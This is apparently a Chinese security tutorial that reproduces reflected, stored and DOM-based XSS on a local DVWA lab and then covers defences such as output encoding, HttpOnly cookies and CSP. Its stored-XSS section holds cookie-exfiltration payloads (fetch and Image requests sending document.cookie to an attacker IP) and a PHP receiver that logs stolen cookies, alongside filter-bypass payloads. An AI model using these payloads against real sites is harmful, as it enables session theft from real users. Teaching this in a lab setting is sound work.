前置条件已完成 DVWA 环境搭建参考前文 SQL 注入文章⚠️警告XSS 可窃取用户会话和隐私仅限本地离线靶场测试。一、什么是 XSS1.1 一个真实场景几年前我负责的一个社区论坛发生过一次事故。用户在签名档里插入了一段 JavaScript 代码。任何查看该用户主页的管理员浏览器都会自动执行这段代码把管理员的 Cookie 发送到了攻击者服务器。管理员什么都没点权限却丢了。这就是 XSS。1.2 核心原理XSSCross-Site Scripting跨站脚本攻击本质是恶意脚本在受害者的浏览器中执行。类比理解正常情况 你在留言板写「你好」→ 服务器保存「你好」→ 其他人看到「你好」 XSS 情况 攻击者写「script偷 Cookie/script」→ 服务器原样保存 → 其他人看到代码并执行 → 攻击者拿到了其他人的 Cookie技术本质服务器没有对用户输入的数据进行过滤或转义直接输出到 HTML 页面中浏览器误以为是正常代码执行了。1.3 漏洞分类类型缩写存储位置触发方式危害反射型Reflected不存储直接在 URL 中诱导用户点击链接中一次性的存储型Stored存储在数据库/文件用户访问页面即触发高持久化的DOM 型DOM前端 JavaScript 处理前端解析 URL 或数据中服务端无日志二、环境搭建2.1 启动 DVWAdocker run --rm -it -p 8080:80 vulnerables/web-dvwa浏览器访问http://127.0.0.1:8080登录账号admin/password安全级别设置为Low2.2 测试前准备XSS 测试需要观察浏览器行为建议关闭浏览器的 XSS 过滤器如果有。Firefox 设置地址栏输入搜索browser.xss_filter.enabled设置为false新版 Firefox 可能已移除忽略即可本地靶场通常不受影响三、反射型 XSS 复现3.1 找到测试模块左侧菜单选择「XSS (Reflected)」。页面功能输入名字页面显示「Hello 名字」。3.2 测试 1Low 级别无过滤Payloadscriptalert(XSS)/script操作步骤在输入框输入 Payload点击 Submit观察是否弹出 alert 框原理输入直接被拼接到 HTML 中输出浏览器解析执行了script标签。截图内容浏览器弹出 alert(XSS) 对话框的截图。目的证明反射型 XSS 漏洞存在。3.3 测试 2Medium 级别过滤script切换安全级别到Medium刷新页面。再次输入scriptalert(XSS)/script结果无弹窗script被移除。绕过 Payloadimg srcx onerroralert(XSS)原理服务器过滤了script标签但没过滤img标签的onerror事件。当srcx加载失败时触发onerror执行 JS。图片内容Medium 级别下使用 img 标签成功弹出 alert 的截图。目的展示绕过简单过滤的方法。3.4 测试 3High 级别严格过滤切换安全级别到High。现状大多数标签和事件都被过滤了。尝试 Payloadimg srcx onerroralert(XSS)结果通常无效High 级别做了更严格的白名单或编码。说明高难度 XSS 需要结合编码、特殊标签或浏览器特性初学者了解原理即可不必死磕 High 级别。图片内容High 级别下Payload 被过滤或无反应的截图。目的展示防御升级后的效果。四、存储型 XSS 复现4.1 找到测试模块左侧菜单选择「XSS (Stored)」。页面功能留言板输入名字和消息永久保存并显示。图片内容DVWA XSS (Stored) 模块页面显示 Name 和 Message 输入框。目的展示存储型 XSS 的入口。4.2 测试步骤Step 1输入 Payload字段输入内容NameAttackerMessagescriptalert(Stored XSS)/scriptStep 2点击 Sign GuestbookStep 3刷新页面或让其他用户访问该页面预期结果每次加载页面都会自动弹出 alert 框。图片内容留言板页面自动弹出 alert 框的截图。目的证明恶意脚本已存储到数据库每次访问都执行。4.3 危害演示模拟存储型 XSS 的危害在于被动触发。模拟场景攻击者留言插入窃取 Cookie 的代码管理员查看留言板管理员 Cookie 被发送到攻击者服务器窃取 Cookie Payloadscriptdocument.locationhttp://攻击者IP/log.php?cdocument.cookie/script⚠️注意本地测试时请把攻击者 IP改成本机 IP并确保有接收端否则无法验证。本文仅展示原理请勿实际发送数据。知道原理后自己就能在本地写一个接收端在项目目录创建receiver.php?php // receiver.php - XSS 数据接收端 // 记录接收时间 $time date(Y-m-d H:i:s); // 获取发送的数据 $cookie $_GET[c] ?? $_POST[c] ?? No cookie; $referer $_SERVER[HTTP_REFERER] ?? No referer; $user_agent $_SERVER[HTTP_USER_AGENT] ?? No user agent; $ip $_SERVER[REMOTE_ADDR] ?? Unknown; // 保存到日志文件 $log [$time] IP: $ip | Cookie: $cookie | Referer: $referer | UA: $user_agent\n; file_put_contents(stolen.log, $log, FILE_APPEND); ?启动php服务-使用是小皮工具在本地windows上开启一个php的服务作为接收端插入xss代码尝试以下两种方法都可以实现方法1script fetch(http://192.168.31.154:81/receiver.php?c document.cookie) /script方法2script var img new Image(); img.src http://192.168.31.154:81/receiver.php?c document.cookie; // 甚至不需要把 img 添加到文档中请求就会发出 /script替换说明将192.168.31.154换成你的实际 IP。如果输入框Message无法输入全部的代码修改代码就可以正常输入验证接收提交 Payload刷新留言板页面触发 XSS查看stolen.log文件五、DOM 型 XSS 复现5.1 找到测试模块左侧菜单选择「XSS (DOM)」。页面功能选择语言。图片内容DVWA XSS (DOM) 模块页面显示语言选择下拉框。目的展示 DOM 型 XSS 的入口。5.2 测试步骤原理漏洞不在服务端代码而在前端 JavaScript 解析 URL 参数时未过滤。Payload#scriptalert(DOM XSS)/script操作步骤在 URL 末尾添加 Payload完整 URLhttp://127.0.0.1:8080/vulnerabilities/xss_d/#scriptalert(DOM XSS)/script回车访问预期结果弹出 alert 框。关键点这个请求不会发送到服务器#后面的内容浏览器不发送所以服务端日志里看不到攻击痕迹。图片内容浏览器地址栏包含 Payload且弹出 alert 框的截图。目的展示 DOM 型 XSS 的特征URL 片段执行。六、防御方案6.1 输出编码最有效原理将特殊字符转换为 HTML 实体浏览器显示为文本而不是执行代码。PHP 示例// ❌ 危险写法 echo Hello . $_GET[name]; // ✅ 安全写法 echo Hello . htmlspecialchars($_GET[name], ENT_QUOTES, UTF-8);转换效果字符编码后lt;gt;quot;#x27;amp;6.2 输入校验原理只允许预期的字符通过。// 只允许字母和数字 $name preg_replace(/[^a-zA-Z0-9]/, , $_GET[name]);局限性只能作为辅助防御不能替代输出编码。6.3 设置 HttpOnly Cookie原理设置 Cookie 的 HttpOnly 属性禁止 JavaScript 读取。setcookie(session_id, $value, [ httponly true, // 禁止 JS 访问 secure true, samesite Strict ]);效果即使存在 XSS攻击者也无法通过document.cookie窃取会话 ID。6.4 内容安全策略CSP原理告诉浏览器只允许加载特定来源的脚本。HTTP 响应头Content-Security-Policy: default-src self效果即使注入了script如果来源不在白名单内浏览器会拒绝执行。七、DVWA 不同级别对比级别防御措施是否可绕过Low无防御✅ 可攻击Medium过滤script标签⚠️ 可绕过事件 handlerHigh过滤大部分标签和事件⚠️ 难绕过需编码/特殊技巧Impossible输出编码 Token 严格校验❌ 无法绕过八、自查清单每次发布涉及用户输入显示的功能前过一遍这个单子所有用户输入输出到 HTML 时是否做了编码htmlspecialchars输出到 JavaScript 变量时是否做了转义输出到 URL 参数时是否做了 URL 编码Cookie 是否设置了 HttpOnly 属性是否配置了 CSP 响应头是否避免了将用户输入直接用于innerHTML或eval()富文本编辑器是否使用了白名单过滤如 DOMPurify九、常见问题 QAQXSS 和 CSRF 有什么区别AXSS利用网站漏洞在用户浏览器执行脚本信任用户浏览器。CSRF利用用户身份伪造请求发送给网站信任用户 Cookie。关系XSS 可以绕过 CSRF 防御因为能读取 Token。Q为什么我的 Payload 不弹窗A检查几点浏览器是否有 XSS 过滤器特殊字符是否被 URL 编码尝试手动输入上下文环境是在标签内、属性内还是 JS 内QHttpOnly 能防御 XSS 吗A不能。HttpOnly 只能防止 Cookie 被窃取不能防止 XSS 执行其他恶意操作如篡改页面、钓鱼。防御 XSS 必须靠编码。Q现代框架Vue/React安全吗A相对安全。它们默认会对数据进行转义。但使用v-html或dangerouslySetInnerHTML时依然会有风险。Q如何检测自己的系统有没有 XSS 漏洞A在所有输入框输入scriptalert(1)/script提交后观察页面是否原样显示或执行使用工具如 OWASP ZAP 扫描仅限授权十、XSS vs 其他漏洞对比对比项XSSSQL 注入CSRF攻击目标用户浏览器/会话数据库用户身份利用条件输入未编码输出字符串拼接 SQL用户已登录防御核心输出编码 CSP参数化查询Token SameSite危害程度高窃取会话/钓鱼高数据泄露中非自愿操作十一、写在最后XSS 是 Web 安全中最常见的漏洞之一。虽然原理简单但变种极多。核心要点永远不要信任用户输入输出到 HTML 必须编码Cookie 设置 HttpOnly使用 CSP 作为纵深防御建议把自己系统的评论、搜索、个人资料展示等页面全部过一遍确认都有正确的编码处理。下期会继续介绍常见的漏洞、然后会讲解工具的使用.....免责声明本文所有内容仅供学习与授权测试使用未经授权的攻击行为属于违法请务必在法律允许范围内进行安全研究。